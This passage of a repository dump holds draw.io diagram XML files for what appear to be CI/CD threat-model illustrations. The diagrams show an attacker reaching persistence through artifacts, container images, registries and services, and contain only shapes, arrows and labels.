x=\"271.18\" y=\"218\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-89\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f5f5f5;strokeColor=#030303;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"249\" y=\"277.68\" as=\"sourcePoint\" />\n            <mxPoint x=\"295\" y=\"277.68\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-91\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;fillColor=#f5f5f5;strokeColor=#666666;fontColor=#333333;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"261\" width=\"74\" height=\"34\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-92\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;CI/CD&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"319\" y=\"299.5\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-94\" value=\"&lt;span style=&quot;font-size: 8px;&quot;&gt;VMs&lt;/span&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"186\" y=\"305\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-95\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"196.9\" y=\"255.37000000000003\" width=\"38.2\" height=\"49.63\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-97\" value=\"\" style=\"fontColor=#0066CC;verticalAlign=top;verticalLabelPosition=bottom;labelPosition=center;align=center;html=1;outlineConnect=0;fillColor=#CCCCCC;strokeColor=#6881B3;gradientColor=none;gradientDirection=north;strokeWidth=2;shape=mxgraph.networks.security_camera;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"152.9\" y=\"347\" width=\"44\" height=\"33\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-98\" value=\"\" style=\"rounded=0;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"220\" y=\"359\" width=\"103\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-99\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"271.18\" y=\"329.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"271.18\" y=\"293.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-100\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Log&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"263\" y=\"297\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-101\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Monitoring&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"141\" y=\"380\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/per-arti.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:53:56.648Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"6UEbBmOyzGRI0oomLT8V\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323\" y=\"135\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"162\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"238.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"202.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-59\" value=\"&amp;lt;&amp;lt;artifact&amp;gt;&amp;gt;&lt;br&gt;&lt;br&gt;&lt;b&gt;Artifact1&lt;/b&gt;\" style=\"html=1;align=center;verticalAlign=middle;dashed=0;whiteSpace=wrap;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"294\" y=\"253\" width=\"102\" height=\"50\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/per-img.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:52:52.029Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"67a4Uepbi-wnNGh8ofbB\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"339\" y=\"134\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"328\" y=\"161\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"357.68\" y=\"237.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"357.68\" y=\"201.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-44\" value=\"Registry\" style=\"sketch=0;outlineConnect=0;strokeColor=#b85450;fillColor=#f8cecc;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;shape=mxgraph.aws4.resourceIcon;resIcon=mxgraph.aws4.registry;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"332\" y=\"243\" width=\"60\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-55\" value=\"&lt;span style=&quot;font-size: 8px;&quot;&gt;Persistence&amp;nbsp;&lt;/span&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"258\" y=\"237\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-56\" value=\"\" style=\"image;aspect=fixed;html=1;points=[];align=center;fontSize=12;image=img/lib/azure2/compute/Image_Templates.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"176\" y=\"248\" width=\"68\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-57\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"259\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"315\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-58\" value=\"Images\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"176\" y=\"313\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/per-reg.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:51:28.164Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"kttzn7CNPxzddvcLQM_m\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"339\" y=\"134\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"328\" y=\"161\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"357.68\" y=\"237.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"357.68\" y=\"201.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-44\" value=\"Registry\" style=\"sketch=0;outlineConnect=0;strokeColor=#b85450;fillColor=#f8cecc;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;shape=mxgraph.aws4.resourceIcon;resIcon=mxgraph.aws4.registry;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"332\" y=\"243\" width=\"60\" height=\"60\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-51\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"357.68\" y=\"378\" as=\"sourcePoint\" />\n            <mxPoint x=\"357.68\" y=\"342\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-53\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"339\" y=\"395\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-54\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"328\" y=\"422\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-55\" value=\"&lt;span style=&quot;font-size: 8px;&quot;&gt;Persistence&amp;nbsp;&lt;/span&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"355\" y=\"343\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/per-service.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:55:29.477Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"tIxVDKXd3RqU1PdcqSCi\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"323\" y=\"135\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"162\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-40\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"341.68\" y=\"238.5\" as=\"sourcePoint\" />\n            <mxPoint x=\"341.68\" y=\"202.5\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-60\" value=\"\" style=\"rounded=1;whiteSpace=wrap;html=1;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"312\" y=\"264.5\" width=\"65\" height=\"27\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-61\" value=\"Services\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"314.5\" y=\"263\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n      </root>\n    </mxGraphModel>\n  </diagram>\n</mxfile>\n"
  },
  {
    "path": "assets/images/ppe.drawio.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<mxfile host=\"app.diagrams.net\" modified=\"2023-06-02T12:43:46.930Z\" agent=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\" etag=\"t63f5xNE1foXyvVAJjk6\" version=\"21.2.9\">\n  <diagram name=\"Page-1\" id=\"hAYbas8VQYhL70THEBTF\">\n    <mxGraphModel dx=\"586\" dy=\"345\" grid=\"0\" gridSize=\"10\" guides=\"1\" tooltips=\"1\" connect=\"1\" arrows=\"1\" fold=\"1\" page=\"1\" pageScale=\"1\" pageWidth=\"850\" pageHeight=\"1100\" math=\"0\" shadow=\"0\">\n      <root>\n        <mxCell id=\"0\" />\n        <mxCell id=\"1\" parent=\"0\" />\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-3\" value=\"\" style=\"sketch=0;outlineConnect=0;fontColor=#232F3E;gradientColor=none;fillColor=#232F3D;strokeColor=none;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;fontSize=12;fontStyle=0;aspect=fixed;pointerEvents=1;shape=mxgraph.aws4.users;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"488.5\" y=\"256.5\" width=\"43\" height=\"43\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-4\" value=\"Users\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"485\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-6\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"402\" y=\"273\" as=\"sourcePoint\" />\n            <mxPoint x=\"472\" y=\"273\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-7\" value=\"\" style=\"outlineConnect=0;dashed=0;verticalLabelPosition=bottom;verticalAlign=top;align=center;html=1;shape=mxgraph.aws3.users;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"340\" y=\"153\" width=\"38\" height=\"37\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-8\" value=\"&lt;font style=&quot;font-size: 8px;&quot;&gt;Attacker&lt;/font&gt;\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"329\" y=\"180\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-18\" value=\"\" style=\"image;points=[];aspect=fixed;html=1;align=center;shadow=0;dashed=0;image=img/lib/allied_telesis/storage/Datacenter_Server_Half_Rack_ToR.svg;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"38\" y=\"253.29\" width=\"54.19\" height=\"70.41\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-19\" value=\"Infrastructure\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"26\" y=\"327\" width=\"88\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-27\" value=\"\" style=\"endArrow=classic;startArrow=classic;html=1;rounded=0;fillColor=#f8cecc;strokeColor=#b85450;\" edge=\"1\" parent=\"1\">\n          <mxGeometry width=\"50\" height=\"50\" relative=\"1\" as=\"geometry\">\n            <mxPoint x=\"254\" y=\"242\" as=\"sourcePoint\" />\n            <mxPoint x=\"303\" y=\"267\" as=\"targetPoint\" />\n          </mxGeometry>\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-29\" value=\"\" style=\"shape=process;whiteSpace=wrap;html=1;backgroundOutline=1;fillColor=#f8cecc;strokeColor=#b85450;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"329\" y=\"262.5\" width=\"65.5\" height=\"31\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-30\" value=\"CI/CD\" style=\"text;html=1;strokeColor=none;fillColor=none;align=center;verticalAlign=middle;whiteSpace=wrap;rounded=0;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"337\" y=\"317\" width=\"60\" height=\"30\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-31\" value=\"\" style=\"sketch=0;pointerEvents=1;shadow=0;dashed=0;html=1;strokeColor=none;fillColor=#505050;labelPosition=center;verticalLabelPosition=bottom;verticalAlign=top;outlineConnect=0;align=center;shape=mxgraph.office.concepts.folder_public;\" vertex=\"1\" parent=\"1\">\n          <mxGeometry x=\"174\" y=\"262.5\" width=\"58\" height=\"52\" as=\"geometry\" />\n        </mxCell>\n        <mxCell id=\"b94HZelUpRPoaxA_aSND-32\" value=\"\" 